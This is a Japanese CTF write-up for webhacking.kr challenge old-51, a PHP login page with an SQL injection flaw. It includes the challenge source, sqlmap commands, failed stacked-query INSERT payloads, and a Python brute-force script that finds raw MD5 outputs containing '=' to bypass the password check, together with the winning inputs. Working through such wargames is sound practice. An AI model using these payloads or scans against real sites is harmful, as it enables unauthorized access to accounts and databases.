webhacking.kr old-51 WriteUp

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 51</title>
<style>
table{ color:lightgreen;}
</style>
</head>
<body bgcolor=black><br><br>
<font color=silver>
<center><h1>Admin page</h1></center>
</font>
<?php
  if($_POST['id'] && $_POST['pw']){
    $db = dbconnect();
    $input_id = addslashes($_POST['id']);
    $input_pw = md5($_POST['pw'],true);
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"));
    if($result['id']) solve(51);
    if(!$result['id']) echo "<center><font color=green><h1>Wrong</h1></font></center>";
  }
?>
<br><br><br>
<form method=post>
<table border=0 align=center bgcolor=gray width=200 height=100>
<tr align=center><td>ID</td><td><input type=text name=id></td></tr>
<tr align=center><td>PW</td><td><input type=password name=pw></td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
<font color=silver>
<div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1>view-source</a></div>
</font>
</form>
</body>
</html>
$id = "\x95' OR id = id --";
$input_id = addslashes($id);
$input_pw = md5("aaaaaa",true);
$result = "select id from chall51 where id='{$input_id}' and pw='{$input_pw}'";

echo $result;

sqlmap

sqlmap https://webhacking.kr/challenge/web-33/index.php --data "search=a" --risk 3 --level 3

sqlmap https://webhacking.kr/challenge/bonus-13/ --data "id=a&pw=b" --risk 3 --level 3

ペイロード

old-51

<html>
<head>
<title>Challenge 51</title>
<style>
table{ color:lightgreen;}
</style>
</head>
<body><br><br>
<font color=silver>
<center><h1>Admin page</h1></center>
</font>
<?php
    $_POST['id'] = '--';
    $_POST['pw'] = 'a';
    $input_id = addslashes($_POST['id']);
    $input_pw = md5($_POST['pw'],true);
    $result = "select id from chall51 where id='{$input_id}' and pw='{$input_pw}'";
    echo $result;
?>
<br><br><br>
<form method=post>
<table border=0 align=center bgcolor=gray width=200 height=100>
<tr align=center><td>ID</td><td><input type=text name=id></td></tr>
<tr align=center><td>PW</td><td><input type=password name=pw></td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
<font >
<div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1>view-source</a></div>
</font>
</form>
</body>
</html>

SQL

insert into chall8(agent,ip,id) values('guest','127001', 'guest' ) --','aaa','guest')
insert into chall8(agent,ip,id) values(CHAR(103, 117, 101, 115, 116),127001, CHAR(103, 117, 101, 115, 116) ) --','aaa','guest')

うまく動かない...

編集後

<html>
<head>
<title>Challenge 51</title>
<style>
table{ color:lightgreen;}
</style>
</head>
<body><br><br>
<font color=silver>
<center><h1>Admin page</h1></center>
</font>
<?php
    $_POST['id'] = "id \\'; insert into chall8(id,pw) values(CHAR(103, 117, 101, 115, 116), CHAR(103, 117, 101, 115, 116) ) ; /*";
    $_POST['pw'] = 'a';

    $input_id = addslashes($_POST['id']);
    $input_pw = md5($_POST['pw'],true);
    $result = "select id from Test where id='{$input_id}' and pw='{$input_pw}'";
    echo $result;
?>
<br><br><br>
<form method=post>
<table border=0 align=center bgcolor=gray width=200 height=100>
<tr align=center><td>ID</td><td><input type=text name=id></td></tr>
<tr align=center><td>PW</td><td><input type=password name=pw></td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
<font >
<div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1>view-source</a></div>
</font>
</form>
</body>
</html>

編集後

<html>
<head>
<title>Challenge 51</title>
<style>
table{ color:lightgreen;}
</style>
</head>
<body><br><br>
<font color=silver>
<center><h1>Admin page</h1></center>
</font>
<?php
    $_POST['id'] = "id \\'; insert into chall8(id,pw) values(CHAR(103, 117, 101, 115, 116), CHAR(103, 117, 101, 115, 116) ) ; /*";
    $_POST['pw'] = 'a';

    $input_id = addslashes($_POST['id']);
    $input_pw = md5($_POST['pw'],true);
    $result = "select id from Test where id='{$input_id}' and pw='{$input_pw}'";
    echo $result;
?>
<br><br><br>
<form method=post>
<table border=0 align=center bgcolor=gray width=200 height=100>
<tr align=center><td>ID</td><td><input type=text name=id></td></tr>
<tr align=center><td>PW</td><td><input type=password name=pw></td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
<font >
<div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1>view-source</a></div>
</font>
</form>
</body>
</html>

正解

id \\' insert /*

pwの方を攻略しに行く

idは'エスケープされているため、脱出できない。

なので、md5で暗号化されるpwを攻略しに行く。

hashlib.md5で暗号化された時に '='が存在すれば、攻略の可能性がある。 それを無理やり破るため、pythonでどの数字が該当するかを確認する。

import hashlib


for i in range(0,20000000000000000):
    input_pw = str(i)
    input_pw_hashed = hashlib.md5(input_pw.encode('utf-8')).digest()

    if "'='" in str(input_pw_hashed):
        print(i)
        print(input_pw_hashed)


python3 main.py 
776741
b'\xf3"Y\x94 \x92\xd8\x10C\xd7\x9aa\xd2o\'='
999761
b'\x13\xec_"c\xd87\xfb\xa83\x18$jr\'='
1058471
b'\x1c\x9e@\xb4\xd9\x7f\xa0\xc1\x00\x84\x05"\xdb\xd8\'='
1839431
b"\xc37\x90\xa5\xaf\xc4\xb1A@J\xbe'='\xaa\xa9"
2584670
b"\xdf\x8b\x12'='N/\xe6*{\xec\x18\x16\x931"
2632003
b"\x1c\x12(\xcc'='6\xfaQE\x84\x0e\x96\xed\x99"

このうち、 1839431 を入力すると、SQLは以下のようになる。

select id from Test where id='a' and id='�7���ıA@J�'='��';

これは文法として不完全に見えるが、実は動く。 false = falseはtrueと評価されるのが理由らしいが...

あるいは、別の解法として、orを無理やり入れる方法もあるらしい。

https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

129581926211651571912466741651878684928を入れると、これも正解した!